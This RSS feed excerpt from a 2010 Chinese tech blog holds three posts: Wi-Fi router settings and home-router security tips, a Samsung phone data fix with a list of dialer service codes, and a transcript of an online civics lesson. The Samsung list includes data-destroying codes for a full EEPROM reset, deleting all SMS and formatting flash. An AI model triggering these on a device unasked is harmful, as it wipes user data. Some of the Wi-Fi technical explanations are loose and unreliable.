<div>一般我们的无线网络都是关闭了RTS/CTS模式的：这个模式的目的就是为了解决隐藏节点问题。但是根据实验室实验显示的结果来看，RTS/CTS模式并不能非常有效的解决隐藏节点问题，虽然Broadcom产品的保护模式就是采用了这种协议，但是一般如果没有特别的需要，关闭RTS/CTS模式将可以大大地提升无线网的速度。</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<h2>关于短前导码</h2>
<div><span><span style="font-family:宋体;">前导码（</span><span lang="EN-US">Preamble</span></span><span><span style="font-family:宋体;">）是数据帧头部的一组</span><span lang="EN-US">Bit</span></span><span><span style="font-family:宋体;">位，用于同步发送端与接收端的传输信号。前导码分为两种：长前导码（</span><span lang="EN-US">Long Preamble</span></span><span><span style="font-family:宋体;">）和短前导码（</span><span lang="EN-US">Short Preamble</span></span><span><span style="font-family:宋体;">）。缺省情况下，设备选择长前导码传输数据。为了提高网络传输效率，用户可以使用短前导码。</span></span></div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<h2>关于频道宽度</h2>
<div>频段指的是无线网络工作时占用的频率段，可以选择的范围从1到13，一般无线路由都默认使用频段6。</div>
<div>频段带宽一般提供“自动”，“20MHz”，“40MHz”三个选项，有一些情况下还会有10MHz(1/2)、5MHz(1/4)的选项。实际上这个频段带宽是802.11n产品的特性之一，当我们使用54M无线产品时经常会出现频段干扰影响传输效果的问题，为了解决这种类似的问题802.11n产品提供了设置频段带宽参数，我们可以通过配置带宽大小来避开频段干扰，例如当我们设置为40M时，如果802.11n设备发现信号出现干扰，将会在40M频段宽度内自动避让，从而有效解决了信号串扰问题。另一方面选择40MHz可以提升一定的无线网络性能，而选择20MHz可以提升更大的兼容性，当然一般如果不是太清楚的话可以直接选择“自动”参数即可。</div>
<div>&nbsp;</div>
<h2>关于TX Antenna Chains和RX Antenna Chains</h2>
<div>TX Antenna Chains和RX Antenna Chains其实指的就是发射天线和接受天线的意思，顾名思义对于有外接天线的无线设备来说，尤其是户外的定向天线，能够控制好哪些天线用于发射信号，哪些天线用于接收信号那是相当Cool的一件事情。</div>
<div>在DD-WRT的中一般这两个选项的内容是1、2、3或者是1+2、1+3、1+2+3、2+3这么几种，依据具体需要可以选择需要的模式。</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<h2>关于灵敏度范围（ACK时序）</h2>
<div>到现在我依旧不太清楚灵敏度范围（ACK时序）是个什么东西，一般都是设置成2000。希望知道的大侠简明扼要的讲解一下……感激不尽</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<h2>关于无线安全</h2>
<div>这个是老生常谈的内容了，虽然目前新闻和资讯里提到了各类蹭网卡和偷用网络的事例，但实际上个人无线网络的安全只要稍微多花一点功夫，多付出几分钟来设置就可以将99%以上的无线类入侵挡在门外。</div>
<div>简单的说无线路由安全配置只有以下几点：修改默认SSID、使用WPA2+AES加密并设置8位以上数字加字符组成的相对复杂的密码、关闭DHCP、对IP-MAC进行绑定并过滤非法的MAC。</div>
<div>其中修改默认SSID仅仅是稍微提升一点暴力破解的难度，最可靠是WPA2+AES加密并设置复杂的密码，关闭DHCP和MAC绑定相对鸡肋，但也可以提供WPA2加密密码被破解的最后一道保护屏障。</div>
<div>&nbsp;</div>
</div>
</div>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/win7-isatap-devcon">删除win7中多余的本地连接</a></p><p><a href="http://www.holmesian.org/IP_NAT_FreeBSD">FreeBSD下IP Filter NAT机理分析</a></p><p><a href="http://www.holmesian.org/post/85">信安易安全卫士的启动机制解析</a></p><p><a href="http://www.holmesian.org/security-dict">网络安全中常见的术语解释</a></p><p><a href="http://www.holmesian.org/Ubuntu_ipv6">Ubuntu9.04下关闭IPV6</a></p><p><a href="http://www.holmesian.org/nginx-bug">Nginx的高危漏洞</a></p></div>]]></description>
	<pubDate>Sat, 13 Nov 2010 12:30:53 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/sth-about-wifi</guid>

</item>
<item>
	<title>三星手机无法上网的解决办法</title>
	<link>http://www.holmesian.org/samsung_network</link>
	<description><![CDATA[<p>今天子东说他的三星手机无法使用EDGE或者GPRS上网，让我帮着尝试着修复一下，一开始用常用的方法：</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8"></p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>&nbsp;GPRS设置：</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>功能表-我的收藏-<span class="number">9</span><span>浏览器-</span><span class="number">5</span><span>代理服务器设定-选择</span></span></li>
    <li><span>设定名称：GPRS</span></li>
    <li class="alt"><span>服务器URL：http://wap.monternet.com</span></li>
    <li><span>GPRS设定-按OK进入</span></li>
    <li class="alt"><span>IP地址：<span class="number">10.0</span><span>.</span><span class="number">0.172</span></span></li>
    <li><span>端口：<span class="number">80</span></span></li>
    <li class="alt"><span>接入点名称：cmwap</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre> GPRS设置：

功能表-我的收藏-9浏览器-5代理服务器设定-选择
设定名称：GPRS
服务器URL：http://wap.monternet.com
GPRS设定-按OK进入
IP地址：10.0.0.172
端口：80
接入点名称：cmwap</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>&nbsp;</p>
<p>发现设置之后问题依旧，感觉CMWAP或者CMNET最多就是这样设置就没有问题，但是依旧不能上网的具体原因一时也找不到。好在发现了这么一个方法可以顺利的解决手机不能上网的问题：</p>
<p>在手机的拨号界面输入*2767*86927#之后屏幕会显示正在自动重设所有的GPRS设置</p>
<p>&nbsp;</p>
<p>同时发现原来三星的手机内置了这么多的脚本，而且都是在手机的拨号界面输入一些内容来触发，留下来看看是否有TX需要：</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>*</span><span class="comment">#1111#&nbsp;&nbsp;软件版本</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#1234#&nbsp;&nbsp;固件版本（一般我们也称这个为软件版本）</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#2222#&nbsp;&nbsp;硬件版本</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#8377466#&nbsp;软、硬件版本</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#8999*8378#&nbsp;&nbsp;测试模式</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#4777*8665#&nbsp;&nbsp;GPRS&nbsp;设定</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#8999*523#&nbsp;&nbsp;液晶屏亮度</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#8999*377#&nbsp;&nbsp;错误日志</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#8999*327#&nbsp;&nbsp;只读存储器菜单</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#8999*667#&nbsp;&nbsp;调试模式</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#92782#&nbsp;&nbsp;Wap&nbsp;连接下手机型号</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#2255#&nbsp;&nbsp;通话记录</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#232337#&nbsp;&nbsp;蓝牙设备地址</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="comment">#5282837#&nbsp;&nbsp;Java&nbsp;版本</span></span></li>
    <li>&nbsp;</li>
    <li class="alt">&nbsp;</li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*3888#&nbsp;&nbsp;蓝牙测试模式</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*536963&nbsp;&nbsp;JAVA&nbsp;下载</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*5737425#&nbsp;&nbsp;JAVA&nbsp;连接模式</span></span></li>
    <li class="alt">&nbsp;</li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*7222#&nbsp;&nbsp;GSM&nbsp;运行类型</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*7252#&nbsp;&nbsp;GPRS&nbsp;运行类型</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*7337#&nbsp;&nbsp;Wap&nbsp;复位</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*2886#&nbsp;&nbsp;开/关&nbsp;自动应答</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*2527#&nbsp;&nbsp;GPRS&nbsp;转换到&nbsp;(级别&nbsp;4,&nbsp;8,&nbsp;9,&nbsp;10)</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*4263#&nbsp;&nbsp;耳机模式&nbsp;有效/无效</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*7462#&nbsp;&nbsp;SIM&nbsp;卡状态</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*5376#&nbsp;&nbsp;删除所有短信</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*6837#&nbsp;&nbsp;官方软件版本</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*2474#&nbsp;&nbsp;充电持续时间</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*2834#&nbsp;&nbsp;声音通道&nbsp;(耳机)</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*3282#&nbsp;&nbsp;数据&nbsp;有效/无效</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*3476#&nbsp;&nbsp;EGSM&nbsp;有效/无效</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*3676#&nbsp;&nbsp;格式化闪存自定义信息</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*4760#&nbsp;&nbsp;GSM&nbsp;有效/无效</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*7326#&nbsp;&nbsp;显示附件</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">#*3273#&nbsp;&nbsp;EGPRS&nbsp;转换到&nbsp;(级别&nbsp;4,&nbsp;8,&nbsp;9,&nbsp;10)</span></span></li>
    <li class="alt">&nbsp;</li>
    <li>&nbsp;</li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="number">2767</span><span>*</span><span class="number">3855</span><span class="comment">#&nbsp;=&nbsp;手机EEPROM总复位</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="number">2767</span><span>*</span><span class="number">2878</span><span class="comment">#&nbsp;=&nbsp;手机EEPROM当前个人设置复位</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="number">2767</span><span>*</span><span class="number">927</span><span class="comment">#&nbsp;=&nbsp;&nbsp;手机EEPROM&nbsp;Wap&nbsp;复位</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="number">2767</span><span>*</span><span class="number">226372</span><span class="comment">#&nbsp;=&nbsp;&nbsp;摄像头复位</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="number">2767</span><span>*</span><span class="number">688</span><span class="comment">#&nbsp;&nbsp;移动电视复</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="number">2767</span><span>*</span><span class="number">86927</span><span class="comment">#&nbsp;=&nbsp;中国&nbsp;WAP&nbsp;自动设置</span></span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="number">2767</span><span>*</span><span class="number">86667</span><span class="comment">#&nbsp;=&nbsp;中国&nbsp;MMS&nbsp;自动设置</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;*<span class="number">2767</span><span>*</span><span class="number">8636245</span><span class="comment">#&nbsp;＝&nbsp;&nbsp;中国&nbsp;Email&nbsp;自动设置</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;">
<pre>*#1111#  软件版本
    *#1234#  固件版本（一般我们也称这个为软件版本）
    *#2222#  硬件版本
    *#8377466# 软、硬件版本
    
    *#8999*8378#  测试模式
    *#4777*8665#  GPRS 设定
    *#8999*523#  液晶屏亮度
    *#8999*377#  错误日志
    *#8999*327#  只读存储器菜单
    *#8999*667#  调试模式
    *#92782#  Wap 连接下手机型号
    *#2255#  通话记录
    *#232337#  蓝牙设备地址
    *#5282837#  Java 版本


    #*3888#  蓝牙测试模式
    #*536963  JAVA 下载
    #*5737425#  JAVA 连接模式

    #*7222#  GSM 运行类型
    #*7252#  GPRS 运行类型
    #*7337#  Wap 复位
    #*2886#  开/关 自动应答
    #*2527#  GPRS 转换到 (级别 4, 8, 9, 10)
    #*4263#  耳机模式 有效/无效
    #*7462#  SIM 卡状态
    #*5376#  删除所有短信
    #*6837#  官方软件版本
    #*2474#  充电持续时间
    #*2834#  声音通道 (耳机)
    #*3282#  数据 有效/无效
    #*3476#  EGSM 有效/无效
    #*3676#  格式化闪存自定义信息
    #*4760#  GSM 有效/无效
    #*7326#  显示附件
    #*3273#  EGPRS 转换到 (级别 4, 8, 9, 10)


    *2767*3855# = 手机EEPROM总复位
    *2767*2878# = 手机EEPROM当前个人设置复位
    *2767*927# =  手机EEPROM Wap 复位
    *2767*226372# =  摄像头复位
    *2767*688#  移动电视复

    *2767*86927# = 中国 WAP 自动设置
    *2767*86667# = 中国 MMS 自动设置
    *2767*8636245# ＝  中国 Email 自动设置</pre> </div>
<div contenteditable="false">
<link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/NetworkManager-resolv_conf"> Ubuntu10.04的resolv.conf会重置的解决办法</a></p><p><a href="http://www.holmesian.org/Nginx_resolver">Nginx解决“no resolver defined to resolve xxx.xxx”</a></p><p><a href="http://www.holmesian.org/Nginx_separator">解决Nginx下二级目录斜杠问题</a></p><p><a href="http://www.holmesian.org/ESXi-Snap-Error">记一次修复ESXi的快照混乱问题的解决</a></p><p><a href="http://www.holmesian.org/DeDeCMS_key">DeDeCMS关键字混乱的解决办法</a></p><p><a href="http://www.holmesian.org/TServe">修复远程桌面问题</a></p></div>]]></description>
	<pubDate>Sat, 13 Nov 2010 06:06:49 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/samsung_network</guid>

</item>
<item>
	<title>公民课第二课: 公民素质</title>
	<link>http://www.holmesian.org/lesson-2</link>
	<description><![CDATA[<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8"></p>
<h1 align="center" style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:2px;padding-right:2px;padding-bottom:2px;padding-left:2px;font-size:medium;line-height:1.25em;">&nbsp;</h1>
<p><span class="Apple-style-span" style="color:#FF0000;"><span class="Apple-style-span" style="font-size:xx-large;"><br />
</span></span></p>
<p align="center" style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">&nbsp;</p>
<p align="center" style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><b>翟明磊</b></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><b>公民课第二课终于出来了，来之不易。让我感动的：面对九万听众，一直播到周日凌晨，朋友们坐了四个小时不肯散去。因腰疼我休息了两天，就在这随后两天，众多朋友完整地转播全堂课程。虽然因一五一十网站被端，我国内的博客平台暂时没有了。但是，朋友们，是你们给了我继续上下去的希望。现在在网友西西弗斯帮助下，讲稿整理出来了，请看！</b></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">&nbsp;</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">没有看过第一课的TX可以<a href="/t_760/">到这里看到第一课</a></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">&nbsp;</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">#没有广播电台##公民第二课：公民素质#（1）今天是个人心风雨飘摇的日子，一个月来，不少朋友博客微博被和谐，想吃河蟹的也不知河蟹在哪，有些朋友被熊猫咬伤，没有电台也歇业过短暂的日子。公民课第二课，确需要珍惜失而复得的空间。珍惜并不是大家不说真话，请大胆发言本课和第一课不同需要更平心静气的体会谢过！</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">（2）各位今天的公民课有九万人(两个微博)可以听到，有多少人参与，当然我现在是不知道的，九万人如果在一个真的课堂上，我就完了，完全没办法办理这么多听课的朋友，我不知道和九万人如何的打交道，幸亏在微博，我可以试试，为了壮胆，我还喝了点酒，所以如果有胡说八道见谅。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 3 )上回的课上得我腰疼了好久，所以这次课我要时间短一点。我讲的题目是公民素质，各位能来上课的朋友，肯定对公民有好感，对公民素质有向往，有自己的理解。好，现在我们做一个认真的游戏。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 4 ) 游戏是这样的，好了，你们不是学生了，你们是中国公民修养守则制定委员会的委员，你们要提出中国的公民守则各条，包含了你认为公民应当具备的素质和要求。好，谁先提第一条?</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 5 ) 每条讨论，如果可行，反对者少于同意者，我们就通过。一般在课上，我是表决制的，但今天九万人？就本人说了算？——不对，我可以数微博中的点评数来表决。好不好。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 6) 胡杨先生说: 我虽然不同意你的观点，但捍卫你说话的权利。第一条，比较简单，请大家表决，开始，五分钟，请点评此贴，说同意，还是不同意，我统计，试一试。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><a style="color:#0066cc;" href="http://t.qq.com/zhaiminglei">翟明磊</a>转播: 好停止，我来统计。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( <img alt="8)" src="http://www.1bao.org/wp-includes/images/smilies/icon_cool.gif" /> 40人同意，无人反对。第一条通过，来自胡杨先生：1，我虽然不同意你的观点，但捍卫你说话的权利。（大家看法，请看点评）</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 9 ) 好，有艾亦文等朋友说公民守则第二条，爱国（家）。好，如果公民素质是爱我们中华人民共和国，这对不对，大家说一说。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><a style="color:#0066cc;" href="http://t.qq.com/zhaiminglei">翟明磊</a>转播: 钱老师过了表决时间了，所以不能计算在内，见谅。 || <a style="color:#0066cc;" href="http://t.qq.com/umi90s">優米</a>(@umi90s):  哈 錢老師也來啦～ || <a style="color:#0066cc;" href="http://t.qq.com/qg32117">钱钢</a>(@qg32117):  同意(6)</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">&nbsp;</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><b>（</b><b>10</b><b>）嗯有朋友反对：爱国不等于爱政府。爱中国不等于爱中华人民共和国，这种说法大胆大家说对不对？</b></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 11 ) 没错，我提一个问题：我们能要求一个二次大战时的德国公民热爱纳粹德国政府吗？如果当时一个德国人不爱，甚至反对纳粹德国，他就不是一个合格的公民了吗？同样我认为爱国不等于爱政权。不管政权是好的坏的，民主的不民主的。你们同意吗？</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">（12 ) 这个显而易见，目前的点评没有人同意爱国等于爱中华人民共和国。公民与政权之间的关系，是国家没有权利要求公民爱政权。公民也没有义务爱政权。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><b>（</b><b>13</b><b>）好，一个中国公民可以不爱政府，但，他是不是要爱国，爱中国呢？这是更深层的问题。请大家讨论。</b></p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 14 )一个人，他不喜欢自己的中国，不叛国，只是不喜欢，不爱，他可不可以是合格的公民。不可以？嗯我守法，我友爱乡里但我不喜欢中国，不喜欢中国文化，不喜欢中国道德，不喜欢，我喜欢法国，喜欢法国文化，我甚至爱上了法国，我想住在法国。我可不可以是合格的中国公民。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 15 )愤青们要说，你他妈不爱国，你滚蛋！等等，等等，我如果按时纳税，遵守国家法律，我不爱国，你有什么权利让我滚蛋。愤青们又说，你他妈国都不爱，肯定会叛国。敌人打进来了，你肯定会逃跑。等等等等，你这是无逻辑的推演啊不爱国不等于叛国啊不等于敌人来了就逃兵啊。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><a style="color:#0066cc;" href="http://t.qq.com/zhaiminglei">翟明磊</a>:敬请注意：请大家在五分钟表决时间内表决，并最先说同意还是不同意。这也是公民训练的一小步。谢谢大家。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 16 )嗯有朋友愤愤地说你可以叫公民，但别叫中国公民，大家说这个朋友说得对不对，我不爱中国，我就不能叫中国公民，谁说的？那么爱国（注：不是爱政权的国家）这一条要不要加入我们的中国公民守则中？开始表决,表决时间五分钟,请大家点击此贴表决同意与否.</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 17 ) 统计结果出来了：38人反对将爱国（不是爱政权）加入公民守则，16人同意加入爱国条款。所以我宣布，“爱国”不加入中国公民修养守则。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">（18）763092朋友提出公民守则第二条：清晰并坚决维护自己公民的权利，并尽应尽的义务！请大家表决，五分钟。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 19 )35人同意，无人反对，通过公民守则第二条清晰并坚决维护自己公民的权利，并尽应尽的义务。有人提议加快速度。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 20 )有人说要孝顺父母。这要不要写入，我还真认识一个人，，对父母感情不好，对老婆也不是很忠，得，我说了，不忠吧，但他在公共场合是绅士。尊重他人，守法，待人接物没话说，但在家里是混蛋。他可不可以是公民？</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 21 ) 延伸一下，一个人对自己孩子不是很好，是不是可以做一个公民，比如卢梭遗弃自己孩子，他是个思想家，也有公民意识，但是不是公民？</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 22 ) 孝顺父母要不要写入公民修养守则，我想公民修养守则需要修养条款，而不仅是法律或权利上的。请大家表决。同样是五分钟。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;"><a style="color:#0066cc;" href="http://t.qq.com/xianchige">闲池阁</a>(@xianchige):  ”公民“——先得是”人“吧……”可以“是公民，但如果“不讲道理”地不讲伦理，我怀疑这个是不是真的是“公民”。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 23 ) 30人同意，24人反对，通过中国公民修养守则第三条：孝顺父母。哈哈，虽然我不同意，但我不投票。中国人的传统观念还是蛮强大的。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 24 ) 征求第四条。胡杨: 利他精神或者我们这么说 ，有人提出要维护别人的权利，请问如果一个人他只维护自己权利，没有侵害别人的权利，也不愿去维护别人的权利，他是不是一个合格的公民？</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 25)第四条，表决开始，公民应当维护他人的合法权利，如果一个人只维护自己权利，虽然没有侵害他人的权利，也不是一个公民。同意吗。表决，五分钟。各位我们的公民修养守则不同于法律条款，只要是公民修养，都可大胆提出。</p>
<p style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;font-size:medium;line-height:1.25em;">( 26)有趣的结果，25人同意，29人反对，公民应当维护他人的合法权利，如果一个人只维护自己权利，虽然没有侵害他人的权利，也不是一个公民。被否决了。让我们深思。对利它精神我们似乎有了新反思。</p>
